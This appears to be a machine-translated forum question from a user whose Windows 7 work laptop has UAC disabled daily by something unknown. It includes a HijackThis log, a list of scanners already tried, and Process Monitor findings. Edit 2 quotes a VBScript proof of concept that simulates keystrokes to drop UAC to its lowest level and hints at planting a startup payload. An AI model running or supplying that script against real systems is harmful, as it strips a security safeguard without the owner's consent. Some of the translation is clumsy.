আমার এইচপি ল্যাপটপে আমার অদ্ভুত সমস্যা রয়েছে। এটি সম্প্রতি ঘটতে শুরু করে। আমি যখনই আমার মেশিনটি শুরু করি তখনই উইন্ডোজ 7 অ্যাকশন সেন্টারটি নিম্নলিখিত সতর্কতা প্রদর্শন করে:
ইউএসি বন্ধ করার জন্য আপনাকে আপনার কম্পিউটার পুনরায় চালু করতে হবে।
আসলে, এটি নির্দিষ্ট দিনে একবার হলে ঘটে না। উদাহরণস্বরূপ, আমি যখন সকালে মেশিনটি শুরু করি তখন এটি প্রদর্শিত হয়; তবে এটি পরবর্তী দিনের পুনরায় আরম্ভের পরে কখনই প্রদর্শিত হবে না। পরের দিন আবার একই ঘটনা ঘটে।
আমি কখনই ইউএসি অক্ষম করি না, তবে স্পষ্টতই কিছু রুটকিট বা ভাইরাস এর কারণ হয়ে থাকে। আমি এই সতর্কতাটি পাওয়ার সাথে সাথেই আমি ইউএসি সেটিংসের দিকে রইলাম, এবং এই সতর্কতাটি খারিজ করতে ইউএসিটিকে পুনরায় সক্ষম করব। আমি এটি ঠিক করতে পারি না বলে এটি একটি বিরক্তিকর পরিস্থিতি।
প্রথমত, আমি কোনও সম্ভাব্য ভাইরাস এবং ম্যালওয়্যার / রুটকিট ক্রিয়াকলাপের জন্য কম্পিউটারে একটি সম্পূর্ণ স্ক্যান চালিয়েছি, তবে ট্রেন্ডমাইক্রো অফিসস্ক্যান বলেছে যে কোনও ভাইরাস পাওয়া যায় নি। আমি উইন্ডোজ সিস্টেম রিস্টোরটি ব্যবহার করে একটি পুরাতন রিস্টোর পয়েন্টে গিয়েছিলাম, তবে সমস্যাটির সমাধান হয়নি।
আমি এ পর্যন্ত যা চেষ্টা করেছি (যা রুটকিটটি খুঁজে পায়নি):
- ট্রেন্ডমাইক্রো অফিসস্ক্যান অ্যান্টিভাইরাস
- avast
- ম্যালওয়ারবাইটিসের অ্যান্টি-ম্যালওয়্যার
- বিজ্ঞাপন-খবর রাখেন
- ভিপ্রে অ্যান্টিভাইরাস
- GMER
- টিডিএসএসকিলার (ক্যাসপারস্কি ল্যাবস)
- HiJackThis
- RegRuns
- UnHackMe
- SuperAntiSpyware পোর্টেবল
- টিজার রুটকিট রেজার ( * )
- সোফোস অ্যান্টি-রুটকিট
- স্পাইহান্টার 4
- ComboFix
মেশিনে অন্য কোনও অদ্ভুত ক্রিয়াকলাপ নেই। এই উদ্ভট ঘটনা বাদে সবকিছু ঠিকঠাক কাজ করে।
এই বিরক্তিকর রুটকিটের নাম কী হতে পারে? আমি কীভাবে এটি সনাক্ত এবং সরাতে পারি?
সম্পাদনা: হাইজ্যাক এটি দ্বারা নির্মিত লগ ফাইলের নীচে:
Logfile of Trend Micro HijackThis v2.0.4
Scan saved at 13:07:04, on 17.01.2011
Platform: Windows 7 (WinNT 6.00.3504)
MSIE: Internet Explorer v8.00 (8.00.7600.16700)
Boot mode: Normal
Running processes:
C:\Windows\system32\taskhost.exe
C:\Windows\system32\Dwm.exe
C:\Windows\Explorer.EXE
C:\Program Files\CheckPoint\SecuRemote\bin\SR_GUI.Exe
C:\Windows\System32\igfxtray.exe
C:\Windows\System32\hkcmd.exe
C:\Windows\system32\igfxsrvc.exe
C:\Windows\System32\igfxpers.exe
C:\Program Files\Hewlett-Packard\HP Wireless Assistant\HPWAMain.exe
C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
C:\Program Files\Hewlett-Packard\HP Quick Launch Buttons\QLBCTRL.exe
C:\Program Files\Analog Devices\Core\smax4pnp.exe
C:\Program Files\Hewlett-Packard\HP Quick Launch Buttons\VolCtrl.exe
C:\Program Files\LightningFAX\LFclient\lfsndmng.exe
C:\Program Files\Common Files\Java\Java Update\jusched.exe
C:\Program Files\Microsoft Office Communicator\communicator.exe
C:\Program Files\Iron Mountain\Connected BackupPC\Agent.exe
C:\Program Files\Trend Micro\OfficeScan Client\PccNTMon.exe
C:\Program Files\Microsoft LifeCam\LifeExp.exe
C:\Program Files\Hewlett-Packard\Shared\HpqToaster.exe
C:\Program Files\Windows Sidebar\sidebar.exe
C:\Program Files\mimio\mimio Studio\system\aps_tablet\atwtusb.exe
C:\Program Files\Microsoft Office\Office12\OUTLOOK.EXE
C:\Program Files\Babylon\Babylon-Pro\Babylon.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Users\userx\Desktop\HijackThis.exe
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://go.microsoft.com/fwlink/?LinkId=69157
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://go.microsoft.com/fwlink/?LinkId=54896
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkId=69157
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,SearchAssistant =
R0 - HKLM\Software\Microsoft\Internet Explorer\Search,CustomizeSearch =
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,AutoConfigURL = http://www.yaysat.com.tr/proxy/proxy.pac
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName =
O2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll
O2 - BHO: Babylon IE plugin - {9CFACCB6-2F3F-4177-94EA-0D2B72D384C1} - C:\Program Files\Babylon\Babylon-Pro\Utils\BabylonIEPI.dll
O2 - BHO: Java(tm) Plug-In 2 SSV Helper - {DBC80044-A445-435b-BC74-9C25C1C588A9} - C:\Program Files\Java\jre6\bin\jp2ssv.dll
O4 - HKLM\..\Run: [IgfxTray] C:\Windows\system32\igfxtray.exe
O4 - HKLM\..\Run: [HotKeysCmds] C:\Windows\system32\hkcmd.exe
O4 - HKLM\..\Run: [Persistence] C:\Windows\system32\igfxpers.exe
O4 - HKLM\..\Run: [hpWirelessAssistant] C:\Program Files\Hewlett-Packard\HP Wireless Assistant\HPWAMain.exe
O4 - HKLM\..\Run: [SynTPEnh] C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
O4 - HKLM\..\Run: [QlbCtrl.exe] C:\Program Files\Hewlett-Packard\HP Quick Launch Buttons\QlbCtrl.exe /Start
O4 - HKLM\..\Run: [SoundMAXPnP] C:\Program Files\Analog Devices\Core\smax4pnp.exe
O4 - HKLM\..\Run: [Adobe Reader Speed Launcher] "C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe"
O4 - HKLM\..\Run: [Adobe ARM] "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
O4 - HKLM\..\Run: [lfsndmng] C:\Program Files\LightningFAX\LFclient\LFSNDMNG.EXE
O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Common Files\Java\Java Update\jusched.exe"
O4 - HKLM\..\Run: [Communicator] "C:\Program Files\Microsoft Office Communicator\communicator.exe" /fromrunkey
O4 - HKLM\..\Run: [AgentUiRunKey] "C:\Program Files\Iron Mountain\Connected BackupPC\Agent.exe" -ni -sss -e http://localhost:16386/
O4 - HKLM\..\Run: [OfficeScanNT Monitor] "C:\Program Files\Trend Micro\OfficeScan Client\pccntmon.exe" -HideWindow
O4 - HKLM\..\Run: [Babylon Client] C:\Program Files\Babylon\Babylon-Pro\Babylon.exe -AutoStart
O4 - HKLM\..\Run: [LifeCam] "C:\Program Files\Microsoft LifeCam\LifeExp.exe"
O4 - HKCU\..\Run: [Sidebar] C:\Program Files\Windows Sidebar\sidebar.exe /autoRun
O4 - Global Startup: mimio Studio.lnk = C:\Program Files\mimio\mimio Studio\mimiosys.exe
O8 - Extra context menu item: Microsoft Excel'e &Ver - res://C:\PROGRA~1\MICROS~1\Office12\EXCEL.EXE/3000
O8 - Extra context menu item: Translate this web page with Babylon - res://C:\Program Files\Babylon\Babylon-Pro\Utils\BabylonIEPI.dll/ActionTU.htm
O8 - Extra context menu item: Translate with Babylon - res://C:\Program Files\Babylon\Babylon-Pro\Utils\BabylonIEPI.dll/Action.htm
O9 - Extra button: Research - {92780B25-18CC-41C8-B9BE-3C9C571A8263} - C:\PROGRA~1\MICROS~1\Office12\REFIEBAR.DLL
O9 - Extra button: Translate this web page with Babylon - {F72841F0-4EF1-4df5-BCE5-B3AC8ACF5478} - C:\Program Files\Babylon\Babylon-Pro\Utils\BabylonIEPI.dll
O9 - Extra 'Tools' menuitem: Translate this web page with Babylon - {F72841F0-4EF1-4df5-BCE5-B3AC8ACF5478} - C:\Program Files\Babylon\Babylon-Pro\Utils\BabylonIEPI.dll
O16 - DPF: {00134F72-5284-44F7-95A8-52A619F70751} (ObjWinNTCheck Class) - https://172.20.12.103:4343/officescan/console/html/ClientInstall/WinNTChk.cab
O16 - DPF: {08D75BC1-D2B5-11D1-88FC-0080C859833B} (OfficeScan Corp Edition Web-Deployment SetupCtrl Class) - https://172.20.12.103:4343/officescan/console/html/ClientInstall/setup.cab
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: Domain = yaysat.com
O17 - HKLM\Software\..\Telephony: DomainName = yaysat.com
O17 - HKLM\System\CS1\Services\Tcpip\Parameters: Domain = yaysat.com
O17 - HKLM\System\CS2\Services\Tcpip\Parameters: Domain = yaysat.com
O18 - Protocol: qcom - {B8DBD265-42C3-43E6-B439-E968C71984C6} - C:\Program Files\Common Files\Quest Shared\CodeXpert\qcom.dll
O22 - SharedTaskScheduler: FencesShellExt - {1984DD45-52CF-49cd-AB77-18F378FEA264} - C:\Program Files\Stardock\Fences\FencesMenu.dll
O23 - Service: Andrea ADI Filters Service (AEADIFilters) - Andrea Electronics Corporation - C:\Windows\system32\AEADISRV.EXE
O23 - Service: AgentService - Iron Mountain Incorporated - C:\Program Files\Iron Mountain\Connected BackupPC\AgentService.exe
O23 - Service: Agere Modem Call Progress Audio (AgereModemAudio) - LSI Corporation - C:\Program Files\LSI SoftModem\agrsmsvc.exe
O23 - Service: BMFMySQL - Unknown owner - C:\Program Files\Quest Software\Benchmark Factory for Databases\Repository\MySQL\bin\mysqld-max-nt.exe
O23 - Service: Com4QLBEx - Hewlett-Packard Development Company, L.P. - C:\Program Files\Hewlett-Packard\HP Quick Launch Buttons\Com4QLBEx.exe
O23 - Service: hpqwmiex - Hewlett-Packard Development Company, L.P. - C:\Program Files\Hewlett-Packard\Shared\hpqwmiex.exe
O23 - Service: OfficeScanNT RealTime Scan (ntrtscan) - Trend Micro Inc. - C:\Program Files\Trend Micro\OfficeScan Client\ntrtscan.exe
O23 - Service: SMS Task Sequence Agent (smstsmgr) - Unknown owner - C:\Windows\system32\CCM\TSManager.exe
O23 - Service: Check Point VPN-1 Securemote service (SR_Service) - Check Point Software Technologies - C:\Program Files\CheckPoint\SecuRemote\bin\SR_Service.exe
O23 - Service: Check Point VPN-1 Securemote watchdog (SR_Watchdog) - Check Point Software Technologies - C:\Program Files\CheckPoint\SecuRemote\bin\SR_Watchdog.exe
O23 - Service: Trend Micro Unauthorized Change Prevention Service (TMBMServer) - Trend Micro Inc. - C:\Program Files\Trend Micro\OfficeScan Client\..\BM\TMBMSRV.exe
O23 - Service: OfficeScan NT Listener (tmlisten) - Trend Micro Inc. - C:\Program Files\Trend Micro\OfficeScan Client\tmlisten.exe
O23 - Service: OfficeScan NT Proxy Service (TmProxy) - Trend Micro Inc. - C:\Program Files\Trend Micro\OfficeScan Client\TmProxy.exe
O23 - Service: VNC Server Version 4 (WinVNC4) - RealVNC Ltd. - C:\Program Files\RealVNC\VNC4\WinVNC4.exe
--
End of file - 8204 bytes
অনুরূপ অনুরূপ প্রশ্নের মধ্যে যেমন পরামর্শ দেওয়া হয়েছে , আমি RegRun এবং UnHackMe দিয়ে পূর্ণ স্ক্যান (+ বুট টাইম স্ক্যান) চালিয়েছি, তবে তারাও কিছুই খুঁজে পেল না। আমি ইভেন্ট ভিউয়ারের সমস্ত এন্ট্রি সাবধানে পরীক্ষা করে দেখেছি, তবে এতে কোনও ভুল নেই।
এখন আমি জানি যে আমার মেশিনে একটি লুকানো ট্রোজান (রুটকিট) রয়েছে যা মনে হয় নিজেকে সফলভাবে ছদ্মবেশে ফেলেছে। নোট করুন যে আমার এইচডিডি সরিয়ে ফেলার, বা ওএস পুনরায় ইনস্টল করার কোনও সুযোগ নেই কারণ এটি একটি ওয়ার্ক মেশিন যা কোনও কোম্পানির ডোমেনে নির্দিষ্ট আইটি নীতিমালার অধীন।
আমার সমস্ত প্রচেষ্টা সত্ত্বেও, সমস্যাটি এখনও রয়ে গেছে। আমার কাছে কঠোরভাবে টু দ্য পয়েন্ট পদ্ধতি বা যা আছে তা সরাতে পুক্কা রুটকিট রিমুভার দরকার need আমি সিস্টেম সেটিংসে বানর রাখতে চাই না, অর্থাত অটোকে অক্ষম করে একের পর এক চালনা করা, রেজিস্ট্রিতে গোলযোগ ইত্যাদি,
সম্পাদনা 2: আমি একটি নিবন্ধ পেয়েছি যা আমার সমস্যার সাথে নিবিড়ভাবে সম্পর্কিত:
ম্যালওয়্যার উইন্ডোজ 7 এ ইউএসি বন্ধ করতে পারে; মাইক্রোসফ্ট বলেছে “ডিজাইনের মাধ্যমে” । মাইক্রোসফ্টকে বিশেষ ধন্যবাদ (!)
নিবন্ধে, একটি ভিবিএস স্ক্রিপ্ট কোড স্বয়ংক্রিয়ভাবে ইউএসি অক্ষম করার জন্য দেওয়া হয়েছে:
'// 1337H4x Written by _____________
'// (12 year old)
Set WshShell = WScript.CreateObject("WScript.Shell")
'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)
'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)
'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)
'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")
'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder
'// Reboot the system
'// WshShell.Run "shutdown /r /f"
দুর্ভাগ্যক্রমে, এটি আমাকে জানায় না যে আমি কীভাবে আমার সিস্টেমে চলমান এই দূষিত কোড থেকে মুক্তি পেতে পারি।
সম্পাদনা 3: গতরাতে, চলমান এসকিউএল টাস্কের কারণে আমি ল্যাপটপটি উন্মুক্ত রেখে দিয়েছি। আমি যখন সকালে এলাম, দেখলাম ইউএসি বন্ধ ছিল। সুতরাং, আমি সন্দেহ করি যে সমস্যাটি প্রারম্ভের সাথে সম্পর্কিত নয়। মেশিনটি রিবুট করা আছে কিনা তা নিশ্চিত হওয়ার জন্য এটি দিনে একবার ঘটছে।
সম্পাদনা 4: আজ, উইন্ডোজ আশাবাদী দোষীটিকে ধরার জন্য উইন্ডোজ শুরু হওয়ার সাথে সাথেই "প্রসেস মনিটর" শুরু করেছিলাম (ধারণাটির জন্য @harrymc কে ধন্যবাদ) 9: 17 এ, ইউএসি স্লাইডারটি নীচে সরানো হয়েছিল (উইন্ডোজ 7 অ্যাকশন সেন্টার সতর্কতা দিয়েছে)। আমি 9:16 এবং 9:18 এর মধ্যে সমস্ত রেজিস্ট্রি ক্রিয়া তদন্ত করেছি। আমি প্রসেস মনিটরের লগ ফাইলটি সংরক্ষণ করেছি (70০ এমবি যা কেবলমাত্র ২ মিনিটের ব্যবধানে থাকে)। প্রচুর EnableLUA = 0(এবং অন্যান্য) এন্ট্রি রয়েছে। আমি নীচে প্রথম 4 এর বৈশিষ্ট্যগুলির উইন্ডোর স্ক্রিনশট পোস্ট করছি। এটি বলছে যে svchost.exeএটি করছে এবং কিছু থ্রেড এবং পিআইডি নম্বর দেয়। তাদের সম্পর্কে আমার কী ধারণা করা উচিত তা আমি জানি না:
